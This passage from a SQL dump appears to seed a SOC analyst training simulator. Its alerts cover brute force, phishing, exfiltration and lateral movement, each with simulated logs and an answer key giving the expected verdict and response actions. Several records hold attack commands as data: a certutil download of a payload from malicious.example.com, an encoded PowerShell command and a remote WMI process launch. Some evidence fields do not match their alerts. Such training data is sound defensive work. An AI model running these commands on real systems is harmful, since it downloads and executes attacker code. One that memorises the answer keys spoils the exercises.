2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"finance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGUAYgBhAHIAbQBlAHQAZQByAHAAbwB3AGUAcgBzAGgAZQBsAGwA\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.788Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"finance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGUAYgBhAHIAbQBlAHQAZQByAHAAbwB3AGUAcgBzAGgAZQBsAGwA\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.788Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"finance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGUAYgBhAHIAbQBlAHQAZQByAHAAbwB3AGUAcgBzAGgAZQBsAGwA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1626, 'Failed Login Attempts from Foreign IP', 'medium', 'Firewall', 'Multiple failed login attempts were detected from a foreign IP address, indicating a potential brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:33:44Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.20\",\"username\":\"jdoe\",\"hostname\":\"corp-server\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":34}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal corporate server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Employee account targeted in brute force attempt.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed login attempts from a known malicious IP suggest a brute force attack.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1627, 'LOLBin Usage Detected: Certutil Download', 'critical', 'KAPE', 'Certutil was used to download a file from an external server. This technique is often employed in ransomware operations to download payloads.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:15:28Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.100\",\"username\":\"system\",\"hostname\":\"workstation-01\",\"request_body\":\"\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used to download malware payloads in recent attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Malicious URL hosting ransomware payload.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of an employee workstation.\"}}],\"expected_actions\":[\"isolate_host\",\"block_url\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil is being used as a living-off-the-land binary to download malware, indicative of an ongoing attack.\"}', 'Advanced', 'IR', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1628, 'Massive Data Exfiltration Alert', 'critical', 'Splunk', 'Unusually high volume of data was transferred to an external IP, indicating potential data exfiltration.', 'Data Exfil', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:05:33Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.101\",\"username\":\"data.admin\",\"hostname\":\"data-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal server IP.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The volume of data transferred to an external IP suggests an attempt to exfiltrate sensitive information.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1629, 'Phishing Email with Malicious URL', 'high', 'Proofpoint', 'A phishing email was detected with a link to a malicious site mimicking a well-known login page.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:22:47Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"\",\"username\":\"victim.user@example.com\",\"hostname\":\"email-server\",\"request_body\":\"\",\"command_line\":\"\",\"email_sender\":\"spoofed@trusted.com\",\"url\":\"http://phishing.example.com/login\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"spoofed@trusted.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address used in recent phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing.example.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting a phishing page designed to steal credentials.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing activities.\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a link to a known phishing site, which is an attempt to harvest user credentials.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL\",\"date\":\"2026-03-15T20:58:15.824Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1630, 'Potential False Positive: Unusual Spike in DNS Queries', 'low', 'Splunk', 'An unusual spike in DNS queries was observed, which could indicate either benign software update checks or potential data exfiltration attempts.', 'Suspicious Activity', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:07:12Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"\",\"username\":\"service_user\",\"hostname\":\"update-server\",\"request_body\":\"\",\"command_line\":\"\",\"domain\":\"update.example.com\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"update.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Domain associated with legitimate software updates.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with update services.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The spike in DNS queries is related to legitimate software update checks, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1631, 'Unauthorized RDP Access Attempt', 'high', 'Wazuh', 'An unauthorized RDP access attempt was detected from an IP previously associated with brute force attacks.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:49:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.99\",\"dst_ip\":\"192.168.1.15\",\"username\":\"administrator\",\"hostname\":\"rdp-server\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":27}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 512 times for unauthorized access attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the RDP server.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP has a history of malicious activity, indicating a genuine unauthorized access attempt.\"}', 'Advanced', 'IR', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:57:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:56:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:55:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:54:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1632, 'Suspicious WMI Execution Detected', 'high', 'Velociraptor', 'WMI was used to execute a process remotely, commonly seen in lateral movements of ransomware attacks.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:04:55Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.45\",\"username\":\"attacker\",\"hostname\":\"management-console\",\"request_body\":\"\",\"command_line\":\"wmic /node:192.168.1.45 process call create \\\"cmd.exe /c calc.exe\\\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.45 process call create \\\"cmd.exe /c calc.exe\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Remote execution of commands using WMI is a known technique for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal management console IP.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted machine.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI to execute commands on another machine suggests lateral movement within the network.\"}', 'Advanced', 'IR', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 